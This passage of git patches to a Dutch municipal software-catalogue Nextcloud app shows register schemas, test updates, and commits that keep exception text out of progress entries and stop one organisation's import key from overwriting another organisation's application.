"type": "string", - "minLength": null, - "maxLength": null, - "example": "nl", - "minimum": null, - "maximum": null, - "multipleOf": null, - "minItems": null, - "maxItems": null, - "$ref": "", - "objectConfiguration": { - "handling": "nested-object", - "schema": "" - }, - "fileConfiguration": { - "handling": "ignore", - "allowedMimeTypes": [], - "location": "", - "maxSize": 0 - }, - "oneOf": [], - "title": "nameLong" - }, - "documentation": { - "description": "De documentation van deze View", - "type": "string", - "minLength": null, - "maxLength": null, - "example": "Toont de referentiecomponenten ter ondersteuning van applicatieservices voor publieksdiensten", - "minimum": null, - "maximum": null, - "multipleOf": null, - "minItems": null, - "maxItems": null, - "$ref": "", - "objectConfiguration": { - "handling": "nested-object", - "schema": "" - }, - "fileConfiguration": { - "handling": "ignore", - "allowedMimeTypes": [], - "location": "", - "maxSize": 0 - }, - "oneOf": [], - "title": "documentation" - }, - "documentationLong": { - "description": "De documentation-language van deze View", - "type": "string", - "minLength": 2, - "maxLength": 2, - "example": "nl", - "minimum": null, - "maximum": null, - "multipleOf": null, - "minItems": null, - "maxItems": null, - "$ref": "", - "objectConfiguration": { - "handling": "nested-object", - "schema": "" - }, - "fileConfiguration": { - "handling": "ignore", - "allowedMimeTypes": [], - "location": "", - "maxSize": 0 - }, - "oneOf": [], - "title": "documentationLong" - }, - "properties": { - "description": "De properties van deze View", - "type": "array", - "minLength": null, - "maxLength": null, - "minimum": null, - "maximum": null, - "multipleOf": null, - "minItems": null, - "maxItems": null, - "$ref": "", - "items": { - "cascadeDelete": true, - "$ref": "#/components/schemas/property-definition", - "type": "object" - }, - "objectConfiguration": { - "handling": "nested-object", - "schema": "" - }, - "fileConfiguration": { - "handling": "ignore", - "allowedMimeTypes": [], - "location": "", - "maxSize": 0 - }, - "oneOf": [], - "title": "properties" - }, - "nodes": { - "description": "De nodes van deze View", - "type": "array", - "minLength": null, - "maxLength": null, - "minimum": null, - "maximum": null, - "multipleOf": null, - "minItems": null, - "maxItems": null, - "$ref": "", - "items": { - "cascadeDelete": true, - "type": "object" - }, - "objectConfiguration": { - "handling": "nested-object", - "schema": "" - }, - "fileConfiguration": { - "handling": "ignore", - "allowedMimeTypes": [], - "location": "", - "maxSize": 0 - }, - "oneOf": [], - "title": "nodes" - }, - "connections": { - "description": "De connections van deze View", - "type": "array", - "minLength": null, - "maxLength": null, - "minimum": null, - "maximum": null, - "multipleOf": null, - "minItems": null, - "maxItems": null, - "$ref": "", - "items": { - "cascadeDelete": true, - "type": "object" - }, - "objectConfiguration": { - "handling": "nested-object", - "schema": "" - }, - "fileConfiguration": { - "handling": "ignore", - "allowedMimeTypes": [], - "location": "", - "maxSize": 0 - }, - "oneOf": [], - "title": "connections" - }, - "objectId": { - "description": "Object ID van deze View", - "type": "string", - "facetable": false, - "title": "objectId" - }, - "viewtype": { - "description": "Viewtype van deze View", - "type": "string", - "facetable": true, - "title": "viewtype" - }, - "titleViewSwc": { - "description": "Titel view SWC van deze View", - "type": "string", - "facetable": false, - "title": "titleViewSwc" - }, - "gemmaType": { - "description": "GEMMA type van deze View", - "type": "string", - "facetable": true, - "title": "gemmaType" - }, - "gemmaThema": { - "description": "GEMMA thema van deze View", - "type": "string", - "facetable": true, - "title": "gemmaThema" - }, - "gemmaUrl": { - "description": "GEMMA URL van deze View", - "type": "string", - "facetable": false, - "title": "gemmaUrl" - }, - "gemmaStatus": { - "description": "GEMMA status van deze View", - "type": "string", - "facetable": true, - "title": "gemmaStatus" - }, - "contextview": { - "description": "Contextview van deze View", - "type": "string", - "facetable": false, - "title": "contextview" - }, - "layoutDirectionBo": { - "description": "Layout direction BO van deze View", - "type": "string", - "facetable": false, - "title": "layoutDirectionBo" - }, - "layoutDirectionDo": { - "description": "Layout direction DO van deze View", - "type": "string", - "facetable": false, - "title": "layoutDirectionDo" - }, - "detailLevel": { - "description": "Detailniveau van deze View", - "type": "string", - "facetable": true, - "title": "detailLevel" - }, - "scope": { - "description": "Scope van deze View", - "type": "string", - "facetable": true, - "title": "scope" - }, - "publish": { - "description": "Publiceren van deze View", - "type": "string", - "facetable": false, - "title": "publish" - }, - "omschrijving": { - "description": "Summary van deze View", - "type": "string", - "facetable": false, - "title": "summary" - }, - "xml": { - "type": "object", - "title": "XML Data", - "description": "Original ArchiMate XML structure for round-trip export fidelity" - } - }, - "archive": [], - "source": "internal", - "hardValidation": false, - "immutable": false, - "searchable": true, - "maxDepth": 0, - "owner": null, - "application": null, - "organisation": null, - "groups": null, - "authorization": { - "read": [ - "public" - ] - }, - "configuration": { - "autoPublish": false, - "objectNameField": "name", - "objectDescriptionField": "omschrijving" - } - }, - "vulnerability": { - "uri": null, - "slug": "vulnerability", - "x-openregister-notifications": { - "vulnerability-reported": { - "trigger": { - "type": "created" - }, - "enabled": true, - "channels": [ - "nc-notification", - "email" - ], - "recipients": [ - { - "kind": "groups", - "groups": [ - "software-catalog-admins" - ] - }, - { - "kind": "object-acl", - "permission": "manage" - } - ], - "subject": { - "nl": "Kwetsbaarheid gemeld: {{naam}} ({{cveCode}}, CVSS {{cvssScore}})", - "en": "Vulnerability reported: {{naam}} ({{cveCode}}, CVSS {{cvssScore}})" - } - } - }, - "title": "Vulnerability", - "description": "Schema voor kwetsbaarheden. Dit schema is onderdeel van het vastgestelde datamodel maar wordt niet daadwerkelijk in de applicatie gebruikt.", - "version": "1.0.20", - "omschrijving": "", - "icon": "ShieldAlertOutline", - "required": [ - "name", - "shortDescription", - "modules" - ], - "properties": { - "name": { - "description": "Naam van de kwetsbaarheid", - "type": "string", - "visible": true, - "order": 1, - "facetable": false, - "title": "Name", - "maxLength": 200, - "example": "Bijvoorbeeld: SQL Injection" - }, - "shortDescription": { - "description": "Korte beschrijving van de kwetsbaarheid", - "type": "string", - "maxLength": 255, - "visible": true, - "order": 2, - "facetable": false, - "title": "Summary", - "example": "Bijvoorbeeld: Korte beschrijving van de kwetsbaarheid" - }, - "longDescription": { - "description": "Uitgebreide beschrijving van de kwetsbaarheid", - "type": "string", - "format": "markdown", - "visible": true, - "order": 3, - "facetable": false, - "title": "Description", - "maxLength": 5000, - "example": "Bijvoorbeeld: Uitgebreide beschrijving van de kwetsbaarheid" - }, - "cveCode": { - "description": "CVE (Common Vulnerabilities and Exposures) identificatiecode", - "type": "string", - "pattern": "^CVE-\\d{4}-\\d{4,}$", - "visible": true, - "order": 4, - "facetable": false, - "title": "CVE Code", - "maxLength": 20, - "example": "Bijvoorbeeld: CVE-2021-44228" - }, - "cvssScore": { - "description": "CVSS (Common Vulnerability Scoring System) score van 0.0 tot 10.0", - "type": "number", - "minimum": 0, - "maximum": 10, - "visible": true, - "order": 5, - "facetable": false, - "title": "CVSS Score", - "example": "Bijvoorbeeld: 9.8" - }, - "modules": { - "description": "De applicaties die door deze kwetsbaarheid getroffen worden", - "type": "array", - "visible": true, - "order": 6, - "facetable": false, - "title": "Affected applications", - "items": { - "type": "object", - "objectConfiguration": { - "handling": "related-object" - }, - "$ref": "#/components/schemas/module", - "inversedBy": "vulnerability" - } - } - }, - "archive": [], - "source": "internal", - "hardValidation": true, - "immutable": false, - "searchable": true, - "maxDepth": 0, - "owner": "1", - "application": null, - "organisation": null, - "groups": null, - "authorization": { - "create": [ - "vng-raadpleger", - "software-catalog-users", - "software-catalog-admins", - "organisaties-beheerder", - "organisatie-beheerder", - "gebruik-raadpleger", - "gebruik-beheerder", - "functioneel-beheerder", - "ambtenaar", - "aanbod-beheerder" - ], - "read": [ - "public", - "aanbod-beheerder", - "ambtenaar", - "functioneel-beheerder", - "gebruik-beheerder", - "vng-raadpleger", - "software-catalog-users", - "software-catalog-admins", - "organisatie-beheerder", - "organisaties-beheerder", - "gebruik-raadpleger" - ], - "update": [ - "aanbod-beheerder", - "ambtenaar", - "functioneel-beheerder", - "gebruik-beheerder", - "gebruik-raadpleger", - "organisatie-beheerder", - "organisaties-beheerder", - "software-catalog-admins", - "software-catalog-users", - "vng-raadpleger" - ], - "delete": [ - "aanbod-beheerder", - "vng-raadpleger", - "software-catalog-users", - "software-catalog-admins", - "organisaties-beheerder", - "organisatie-beheerder", - "gebruik-raadpleger", - "gebruik-beheerder", - "functioneel-beheerder", - "ambtenaar" - ] - }, - "configuration": { - "objectNameField": "name", - "objectSummaryField": "shortDescription", - "objectDescriptionField": "longDescription", - "autoPublish": false - } - }, - "aiSystem": { - "uri": null, - "slug": "aiSystem", - "title": "AI system", - "x-schema-org": "schema:SoftwareApplication", - "description": "An AI agent, AI model or AI feature the organisation uses, with its EU AI Act classification.", - "version": "0.1.0", - "icon": "RobotOutline", - "required": [ - "name" - ], - "source": "internal", - "hardValidation": false, - "immutable": false, - "searchable": true, - "maxDepth": 0, - "properties": { - "name": { - "type": "string", - "title": "Name", - "description": "The name the organisation uses for this AI system.", - "facetable": false, - "order": 1, - "table": { - "default": true - } - }, - "description": { - "type": "string", - "format": "markdown", - "title": "Description", - "description": "What the AI system is and how it is used.", - "facetable": false, - "order": 2 - }, - "kind": { - "type": "string", - "enum": [ - "AI agent", - "AI model", - "AI feature" - ], - "x-enum-labels": { - "AI agent": "AI agent", - "AI model": "AI model", - "AI feature": "AI feature" - }, - "title": "Kind", - "description": "An AI agent acts on its own, an AI model is a trained model, an AI feature is part of an application.", - "facetable": true, - "order": 3, - "table": { - "default": true - } - }, - "module": { - "type": "object", - "$ref": "#/components/schemas/module", - "objectConfiguration": { - "handling": "related-object" - }, - "inversedBy": "aiSystems", - "title": "Application", - "description": "The application this AI system runs in or supports.", - "facetable": true, - "order": 4, - "table": { - "default": true - } - }, - "provider": { - "type": "object", - "$ref": "#/components/schemas/organization", - "objectConfiguration": { - "handling": "related-object" - }, - "title": "Supplier", - "description": "The organisation that supplies the AI system.", - "facetable": true, - "order": 5 - }, - "purpose": { - "type": "string", - "title": "Purpose", - "description": "What the AI system decides, recommends or produces.", - "facetable": false, - "order": 6 - }, - "aiActRiskCategory": { - "type": "string", - "enum": [ - "prohibited", - "high risk", - "limited risk", - "minimal risk", - "not yet assessed" - ], - "x-enum-labels": { - "prohibited": "Prohibited", - "high risk": "High risk", - "limited risk": "Limited risk", - "minimal risk": "Minimal risk", - "not yet assessed": "Not yet assessed" - }, - "default": "not yet assessed", - "title": "AI Act risk category", - "description": "The risk category under the EU AI Act, as the organisation classified it.", - "facetable": true, - "order": 7, - "table": { - "default": true - } - }, - "aiActRole": { - "type": "string", - "enum": [ - "provider", - "deployer" - ], - "x-enum-labels": { - "provider": "Provider", - "deployer": "Deployer" - }, - "title": "Role under the AI Act", - "description": "Whether the organisation provides the AI system or deploys it.", - "facetable": true, - "order": 8 - }, - "algorithmRegisterUrl": { - "type": "string", - "format": "uri", - "title": "Algorithm register entry", - "description": "The link to this system in the Dutch algorithm register.", - "facetable": false, - "order": 9 - }, - "assessedOn": { - "type": "string", - "format": "date", - "title": "Last assessed on", - "description": "The date the classification was last assessed.", - "facetable": false, - "order": 10 - }, - "friaDocumentRef": { - "type": "string", - "title": "Fundamental rights impact assessment", - "description": "A reference to the fundamental rights impact assessment (FRIA). A high-risk system without one is flagged.", - "facetable": false, - "order": 11 - }, - "status": { - "type": "string", - "enum": [ - "in development", - "in use", - "withdrawn" - ], - "x-enum-labels": { - "in development": "In development", - "in use": "In use", - "withdrawn": "Withdrawn" - }, - "default": "in use", - "title": "Status", - "description": "Where the AI system stands in its lifecycle.", - "facetable": true, - "order": 12, - "table": { - "default": true - } - } - }, - "configuration": { - "objectNameField": "name", - "objectDescriptionField": "purpose", - "allowFiles": true, - "allowedTags": [ - "FRIA", - "Technical documentation", - "Human oversight", - "Logging" - ], - "autoPublish": false, - "x-openregister-lifecycle": { - "field": "status", - "initial": "in development", - "final": [ - "withdrawn" - ], - "transitions": { - "release": { - "from": [ - "in development" - ], - "to": "in use", - "description": "Take the AI system into use." - }, - "withdraw": { - "from": [ - "in development", - "in use" - ], - "to": "withdrawn", - "description": "Withdraw the AI system." - } - } - } - }, - "authorization": { - "create": [ - "software-catalog-admins", - "organisatie-beheerder", - "organisaties-beheerder", - "functioneel-beheerder", - "gebruik-beheerder", - "aanbod-beheerder" - ], - "read": [ - "software-catalog-admins", - { - "group": "organisatie-beheerder", - "match": { - "_organisation": "$organisation" - } - }, - { - "group": "organisaties-beheerder", - "match": { - "_organisation": "$organisation" - } - }, - { - "group": "functioneel-beheerder", - "match": { - "_organisation": "$organisation" - } - }, - { - "group": "gebruik-beheerder", - "match": { - "_organisation": "$organisation" - } - }, - { - "group": "aanbod-beheerder", - "match": { - "_organisation": "$organisation" - } - }, - { - "group": "aanbod-beheerder", - "match": { - "provider": "$organisation" - } - } - ], - "update": [ - "software-catalog-admins", - { - "group": "organisatie-beheerder", - "match": { - "_organisation": "$organisation" - } - }, - { - "group": "organisaties-beheerder", - "match": { - "_organisation": "$organisation" - } - }, - { - "group": "functioneel-beheerder", - "match": { - "_organisation": "$organisation" - } - }, - { - "group": "gebruik-beheerder", - "match": { - "_organisation": "$organisation" - } - } - ], - "delete": [ - "software-catalog-admins", - { - "group": "organisatie-beheerder", - "match": { - "_organisation": "$organisation" - } - }, - { - "group": "organisaties-beheerder", - "match": { - "_organisation": "$organisation" - } - }, - { - "group": "functioneel-beheerder", - "match": { - "_organisation": "$organisation" - } - }, - { - "group": "gebruik-beheerder", - "match": { - "_organisation": "$organisation" - } - } - ] - } - } - }, "objects": [ { "@self": { diff --git a/tests/Unit/Settings/LifecycleStatesMatchEnumTest.php b/tests/Unit/Settings/LifecycleStatesMatchEnumTest.php index c2c3d7816..9985480a4 100644 --- a/tests/Unit/Settings/LifecycleStatesMatchEnumTest.php +++ b/tests/Unit/Settings/LifecycleStatesMatchEnumTest.php @@ -32,8 +32,8 @@ * Dutch state names. A transition whose `from` names a value no row can hold * is never offered, and an `initial` outside the enum writes an invalid * value. Nothing raises an error, so the only instrument is this walk: every - * lifecycle in both shipped register files, every state it names, against - * the enum of the field it drives. + * lifecycle in the shipped register, every state it names, against the enum + * of the field it drives. The demo register carries objects only, no schemas. * * phpcs:disable CustomSniffs.Functions.NamedParameters */ @@ -47,7 +47,6 @@ class LifecycleStatesMatchEnumTest extends TestCase { public static function registerFiles(): array { return [ 'softwarecatalogus_register.json' => ['softwarecatalogus_register.json'], - 'stackiq_mock_register.json' => ['stackiq_mock_register.json'], ]; }//end registerFiles() diff --git a/tests/vitest/aiSystems.spec.js b/tests/vitest/aiSystems.spec.js index 13d1a7eb7..f224fac53 100644 --- a/tests/vitest/aiSystems.spec.js +++ b/tests/vitest/aiSystems.spec.js @@ -222,9 +222,7 @@ describe('the seeded AI systems', () => { expect(seeded.some((o) => o.aiActRiskCategory === 'limited risk')).toBe(true) }) - it('carry the schema copy the demo import validates against', () => { - expect(mock.components.schemas.aiSystem.properties).toEqual( - schema.properties, - ) + it('carry no schema copy, so the demo import validates against the live schema', () => { + expect(mock.components.schemas).toBeUndefined() }) }) From bf90fcfa5ccf75e1d22cd51d65b5ac01c1fd7f0c Mon Sep 17 00:00:00 2001 From: WilcoLouwerse Date: Mon, 5 Oct 2026 13:06:10 +0200 Subject: [PATCH 142/176] chore(integrations): track the link header action in nextcloud-vue#1314 The Add integration header action navigates with window.location.assign because the library renders every header action as a button. The comment now points at the library issue that adds an href to header actions. Co-Authored-By: Claude Opus 5.5 (1M context) --- src/customComponents.js | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/src/customComponents.js b/src/customComponents.js index 02650884e..d3c8c0f77 100644 --- a/src/customComponents.js +++ b/src/customComponents.js @@ -44,7 +44,10 @@ export default { // (adopt-connection-registry). A FUNCTION, because it leaves the app for // integriq's Connections overview and a header action's `navigate` only // pushes a route inside this app. CnIndexPage resolves a handler name - // against this map. + // against this map. It navigates in JavaScript because the library renders + // every header action as a button; once a header action can carry an + // `href` (ConductionNL/nextcloud-vue#1314) this becomes a link in the + // manifest and the handler goes. ...createConnectionHandlers({ generateUrl, assign: (url) => window.location.assign(url), From 9a943970f7013ceb996ef5ce45b088eb6b4273af Mon Sep 17 00:00:00 2001 From: WilcoLouwerse Date: Mon, 5 Oct 2026 13:06:42 +0200 Subject: [PATCH 143/176] fix(cmdb-import): a failed run stores a code and a generic message, not the exception text When the run itself failed outside a row, the progress entry stored the exception's message, which every user who may follow the operation can read and which can quote cell values or an owner's e-mail address. The entry now holds "IMPORT_FAILED: The import stopped unexpectedly. The details are in the Nextcloud log." The service logs the exception's class and its first line through the same sanitiser the row-failure path uses, which takes e-mail addresses out. Co-Authored-By: Claude Opus 5.5 --- lib/Service/CmdbExportImportService.php | 14 +++++++++++++- openspec/changes/cmdb-export-import/contract.md | 2 +- tests/Unit/Service/CmdbExportImportServiceTest.php | 14 +++++++++++--- 3 files changed, 25 insertions(+), 5 deletions(-) diff --git a/lib/Service/CmdbExportImportService.php b/lib/Service/CmdbExportImportService.php index 0c78ff2c9..fbdee763c 100644 --- a/lib/Service/CmdbExportImportService.php +++ b/lib/Service/CmdbExportImportService.php @@ -135,6 +135,14 @@ class CmdbExportImportService { */ public const STORED_REPORT_ROWS = 500; + /** + * What the progress entry of a failed run says: a code and a generic message. + * + * The entry is readable by everyone who may follow the operation, and an + * exception message can quote cell values or person data, so it is never stored. + */ + public const FAILED_RUN_MESSAGE = 'IMPORT_FAILED: The import stopped unexpectedly. The details are in the Nextcloud log.'; + /** * The URI of the importing admin's address book that new owner contacts go into. */ @@ -487,7 +495,11 @@ private function runImport(string $path, array $options, string $startedAt): arr } catch (Throwable $e) { // Rows catch their own errors; this is the run itself failing, so the // operation stops as failed instead of staying running until it expires. - $this->progressTracker->failOperation(message: $e->getMessage()); + $this->logger->error( + 'CmdbExportImportService: import failed', + ['operationId' => $operationId, 'exception' => get_class($e), 'error' => self::logSafeMessage(step: 'import', e: $e, values: [])] + ); + $this->progressTracker->failOperation(message: self::FAILED_RUN_MESSAGE); throw $e; }//end try diff --git a/openspec/changes/cmdb-export-import/contract.md b/openspec/changes/cmdb-export-import/contract.md index 5cd836afd..2c2411855 100644 --- a/openspec/changes/cmdb-export-import/contract.md +++ b/openspec/changes/cmdb-export-import/contract.md @@ -85,7 +85,7 @@ Error body: `{"success": false, "error": "", "message": " | 412 | missing or invalid CSRF token | ### `GET /api/progress/{operationId}` (existing, unchanged) -Returns the `ProgressTracker` snapshot for the `cmdb_import` operation: `progress.total_items` is the number of non-empty rows read and `progress.processed_items` the rows done so far, updated after every row. `progress.status` is `running`, `completed` or `cancelled`. After completion, `progress.statistics.report` holds the report from the 200 response above, for as long as the tracker keeps the entry (one hour). +Returns the `ProgressTracker` snapshot for the `cmdb_import` operation: `progress.total_items` is the number of non-empty rows read and `progress.processed_items` the rows done so far, updated after every row. `progress.status` is `running`, `completed`, `cancelled` or `failed`. A run that fails outside a row is `failed`, and its `progress.errors[0].message` is the fixed text `IMPORT_FAILED: The import stopped unexpectedly. The details are in the Nextcloud log.`: never the exception's message, which can quote cell values. The exception's class and its first line, with e-mail addresses taken out, are logged. After completion, `progress.statistics.report` holds the report from the 200 response above, for as long as the tracker keeps the entry (one hour). ## Error Codes diff --git a/tests/Unit/Service/CmdbExportImportServiceTest.php b/tests/Unit/Service/CmdbExportImportServiceTest.php index d45fb1632..a336a8256 100644 --- a/tests/Unit/Service/CmdbExportImportServiceTest.php +++ b/tests/Unit/Service/CmdbExportImportServiceTest.php @@ -2031,7 +2031,7 @@ public function testAFailureOutsideARowMarksTheOperationFailed(): void { $this->beforeSave = function (int $schema): void { if ($schema === self::USAGE) { // The progress write after this row fails, outside every row boundary. - $this->cacheFailure = new \Error('cache went away'); + $this->cacheFailure = new \Error("cache went away writing Applicatie 2 for owner jan.jansen@example.org\nsecond line"); } }; @@ -2039,12 +2039,20 @@ public function testAFailureOutsideARowMarksTheOperationFailed(): void { $service->import(path: '', options: ['municipalityUuid' => 'muni-1', 'operationId' => 'cmdb-failing-1']); $this->fail('the import should have thrown'); } catch (\Error $e) { - $this->assertSame('cache went away', $e->getMessage()); + $this->assertStringStartsWith('cache went away', $e->getMessage()); } $stored = $this->cache['progress_cmdb-failing-1']; $this->assertSame('failed', $stored['status']); - $this->assertSame('cache went away', $stored['errors'][0]['message']); + $this->assertSame(CmdbExportImportService::FAILED_RUN_MESSAGE, $stored['errors'][0]['message'], 'a code and a generic message, never the exception text'); + $this->assertStringNotContainsString('jan.jansen', json_encode($stored)); + + $failed = array_values(array_filter($this->logLines, static fn (string $line): bool => str_starts_with($line, 'CmdbExportImportService: import failed'))); + $this->assertCount(1, $failed); + $this->assertStringContainsString('"exception":"Error"', $failed[0]); + $this->assertStringContainsString('', $failed[0]); + $this->assertStringNotContainsString('jan.jansen', $failed[0]); + $this->assertStringNotContainsString('second line', $failed[0]); }//end testAFailureOutsideARowMarksTheOperationFailed() /** From 10eb6686c0d3a1019f82f67bf9dee74f0c85aeac Mon Sep 17 00:00:00 2001 From: WilcoLouwerse Date: Mon, 5 Oct 2026 13:33:03 +0200 Subject: [PATCH 144/176] fix(cmdb-import): an import key on another organisation's application is a conflict module.externalKey was writable by anyone who may edit a module, and the import, which runs with RBAC off, trusted it alone: setting a module's key to topdesk:: made that municipality's next import overwrite the module, across tenants. The key now carries a property-level rule (update: admin), so only a Nextcloud admin can set it outside the import (module schema 0.3.8). And the import treats a module found by its key as a match only when the municipality already uses it, or no organisation does yet. A module only other organisations use is neither changed nor duplicated; the row is skipped with a conflict reason and a log line naming the module. Co-Authored-By: Claude Opus 5.5 --- docs/features/cmdb-import.md | 8 ++ l10n/en.js | 4 +- l10n/en.json | 4 +- l10n/nl.js | 4 +- l10n/nl.json | 4 +- lib/Service/CmdbExportImportService.php | 92 ++++++++++++++++--- .../register.d/topdesk-cmdb-import.json | 7 +- .../changes/cmdb-export-import/contract.md | 4 +- openspec/changes/cmdb-export-import/design.md | 3 +- .../specs/cmdb-export-import/spec.md | 19 +++- .../Service/CmdbExportImportServiceTest.php | 56 +++++++++++ .../Settings/PublicationFieldRulesTest.php | 3 +- .../Unit/Settings/TopdeskCmdbFragmentTest.php | 14 ++- 13 files changed, 196 insertions(+), 26 deletions(-) diff --git a/docs/features/cmdb-import.md b/docs/features/cmdb-import.md index bf8055f47..f5696e9f8 100644 --- a/docs/features/cmdb-import.md +++ b/docs/features/cmdb-import.md @@ -199,6 +199,14 @@ colliding. its contact persons are left as they are. They are not changed, depublished or deleted. - Each application keeps exactly one usage for the municipality. +- **Known APPID, but the application belongs to another organisation**: an + application found by its match key is only updated when the municipality + already uses it, or when no organisation uses it yet. When only other + organisations use it, the row is *skipped* with reason `conflict: the + application with this import key is used by another organisation, so it + is not changed`; nothing is changed and no second application is created. + Check the application's import key in stackiq. Only a Nextcloud + administrator can change an import key. Rows are **skipped** when the APPID is empty (`missing APPID`), when the Applicatie Naam is empty (`missing Applicatie Naam`), when an APPID appears a diff --git a/l10n/en.js b/l10n/en.js index 04ecd1250..14eaa4e83 100644 --- a/l10n/en.js +++ b/l10n/en.js @@ -1123,7 +1123,9 @@ OC.L10N.register( "Choose the municipality from the list instead of typing its name. Nothing was imported.": "Choose the municipality from the list instead of typing its name. Nothing was imported.", "Publish the applications this import creates": "Publish the applications this import creates", "A published application is visible to anyone, including anonymous visitors of OpenCatalogi. When off, the applications this import creates stay unpublished until you publish them by hand. Applications imported before keep their publication as it is.": "A published application is visible to anyone, including anonymous visitors of OpenCatalogi. When off, the applications this import creates stay unpublished until you publish them by hand. Applications imported before keep their publication as it is.", - "Created unpublished": "Created unpublished" + "Created unpublished": "Created unpublished", + "The key a repeated import matches this application on: topdesk::. Set by the CMDB import; only a Nextcloud admin can change it.": "The key a repeated import matches this application on: topdesk::. Set by the CMDB import; only a Nextcloud admin can change it.", + "conflict: the application with this import key is used by another organisation, so it is not changed": "conflict: the application with this import key is used by another organisation, so it is not changed" }, "nplurals=2; plural=(n != 1);" ) diff --git a/l10n/en.json b/l10n/en.json index aa3a742f9..de504b70a 100644 --- a/l10n/en.json +++ b/l10n/en.json @@ -1122,6 +1122,8 @@ "Choose the municipality from the list instead of typing its name. Nothing was imported.": "Choose the municipality from the list instead of typing its name. Nothing was imported.", "Publish the applications this import creates": "Publish the applications this import creates", "A published application is visible to anyone, including anonymous visitors of OpenCatalogi. When off, the applications this import creates stay unpublished until you publish them by hand. Applications imported before keep their publication as it is.": "A published application is visible to anyone, including anonymous visitors of OpenCatalogi. When off, the applications this import creates stay unpublished until you publish them by hand. Applications imported before keep their publication as it is.", - "Created unpublished": "Created unpublished" + "Created unpublished": "Created unpublished", + "The key a repeated import matches this application on: topdesk::. Set by the CMDB import; only a Nextcloud admin can change it.": "The key a repeated import matches this application on: topdesk::. Set by the CMDB import; only a Nextcloud admin can change it.", + "conflict: the application with this import key is used by another organisation, so it is not changed": "conflict: the application with this import key is used by another organisation, so it is not changed" } } diff --git a/l10n/nl.js b/l10n/nl.js index 6ec03e80a..7de13a725 100644 --- a/l10n/nl.js +++ b/l10n/nl.js @@ -1193,7 +1193,9 @@ OC.L10N.register( "Choose the municipality from the list instead of typing its name. Nothing was imported.": "Kies de gemeente uit de lijst in plaats van de naam te typen. Er is niets geïmporteerd.", "Publish the applications this import creates": "De applicaties die deze import aanmaakt publiceren", "A published application is visible to anyone, including anonymous visitors of OpenCatalogi. When off, the applications this import creates stay unpublished until you publish them by hand. Applications imported before keep their publication as it is.": "Een gepubliceerde applicatie is voor iedereen zichtbaar, ook voor anonieme bezoekers van OpenCatalogi. Staat dit uit, dan blijven de applicaties die deze import aanmaakt ongepubliceerd tot u ze zelf publiceert. Eerder geïmporteerde applicaties houden hun publicatie zoals die is.", - "Created unpublished": "Ongepubliceerd aangemaakt" + "Created unpublished": "Ongepubliceerd aangemaakt", + "The key a repeated import matches this application on: topdesk::. Set by the CMDB import; only a Nextcloud admin can change it.": "De sleutel waarop een herhaalde import deze applicatie koppelt: topdesk::. Gezet door de CMDB-import; alleen een Nextcloud-beheerder kan deze wijzigen.", + "conflict: the application with this import key is used by another organisation, so it is not changed": "conflict: de applicatie met deze importsleutel wordt door een andere organisatie gebruikt en wordt daarom niet gewijzigd" }, "nplurals=2; plural=(n != 1);" ) diff --git a/l10n/nl.json b/l10n/nl.json index 4423bae60..d6032d96a 100644 --- a/l10n/nl.json +++ b/l10n/nl.json @@ -1192,6 +1192,8 @@ "Choose the municipality from the list instead of typing its name. Nothing was imported.": "Kies de gemeente uit de lijst in plaats van de naam te typen. Er is niets geïmporteerd.", "Publish the applications this import creates": "De applicaties die deze import aanmaakt publiceren", "A published application is visible to anyone, including anonymous visitors of OpenCatalogi. When off, the applications this import creates stay unpublished until you publish them by hand. Applications imported before keep their publication as it is.": "Een gepubliceerde applicatie is voor iedereen zichtbaar, ook voor anonieme bezoekers van OpenCatalogi. Staat dit uit, dan blijven de applicaties die deze import aanmaakt ongepubliceerd tot u ze zelf publiceert. Eerder geïmporteerde applicaties houden hun publicatie zoals die is.", - "Created unpublished": "Ongepubliceerd aangemaakt" + "Created unpublished": "Ongepubliceerd aangemaakt", + "The key a repeated import matches this application on: topdesk::. Set by the CMDB import; only a Nextcloud admin can change it.": "De sleutel waarop een herhaalde import deze applicatie koppelt: topdesk::. Gezet door de CMDB-import; alleen een Nextcloud-beheerder kan deze wijzigen.", + "conflict: the application with this import key is used by another organisation, so it is not changed": "conflict: de applicatie met deze importsleutel wordt door een andere organisatie gebruikt en wordt daarom niet gewijzigd" } } diff --git a/lib/Service/CmdbExportImportService.php b/lib/Service/CmdbExportImportService.php index fbdee763c..b416d2daa 100644 --- a/lib/Service/CmdbExportImportService.php +++ b/lib/Service/CmdbExportImportService.php @@ -21,7 +21,8 @@ * OpenRegister's `ObjectServiceInterface` (ADR-022). * * Rules stated once and enforced here: - * - A module matches on `externalKey`; a usage on (consumer, module); a + * - A module matches on `externalKey`, but only when the municipality + * uses it or no organisation does yet; a usage on (consumer, module); a * supplier on its normalised name and type Supplier; a contact person on * (contactsUid, organization). An organisation that was merged away * (status `merged`) or is `Inactive` is never matched by name. @@ -135,6 +136,11 @@ class CmdbExportImportService { */ public const STORED_REPORT_ROWS = 500; + /** + * The upsert outcome of a module whose import key matches but that another organisation uses. + */ + private const MODULE_CONFLICT = 'conflict'; + /** * What the progress entry of a failed run says: a code and a generic message. * @@ -583,18 +589,19 @@ private function processRow( $step = 'module'; $moduleResult = $this->importModule( data: $module['data'], - externalKey: $this->profile->externalKeyPrefix() . ':' . $municipalityUuid . ':' . $matchKey, + municipalityUuid: $municipalityUuid, + matchKey: $matchKey, providerUuid: $providerUuid, options: $options, report: $report ); $moduleUuid = $moduleResult['uuid']; - if ($moduleResult['outcome'] === 'exists') { + if ($moduleResult['skipReason'] !== null) { $this->addRow( report: $report, entry: $entry, outcome: CmdbImportReport::SKIPPED, - reasons: [$this->l10n->t('exists')], + reasons: [$moduleResult['skipReason']], warnings: $warnings, moduleUuid: $moduleUuid ); @@ -959,47 +966,106 @@ private function resolveManufacturer(array $values, int $rowNumber): ?string { /** * Upsert the row's module, and count it when it was created unpublished. * + * A module found by its import key that another organisation uses is a + * conflict: it is neither changed nor duplicated, and the row is skipped. + * The log line names the module and the APPID's match key, nothing else. + * * @param array $data The mapped module fields. - * @param string $externalKey The match key. + * @param string $municipalityUuid The consumer. + * @param string $matchKey The APPID's match key. * @param string|null $providerUuid The supplier, when there is one. * @param array{updateExisting: bool, publicationDate: string|null} $options The run's choices. * @param CmdbImportReport $report The report. * - * @return array{uuid: string, outcome: string} The outcome of upsertModule(). + * @return array{uuid: string|null, outcome: string, skipReason: string|null} The module, the outcome of + * upsertModule(), and why the row is skipped. * * @spec openspec/changes/cmdb-export-import/tasks.md#task-5 */ - private function importModule(array $data, string $externalKey, ?string $providerUuid, array $options, CmdbImportReport $report): array { + private function importModule( + array $data, + string $municipalityUuid, + string $matchKey, + ?string 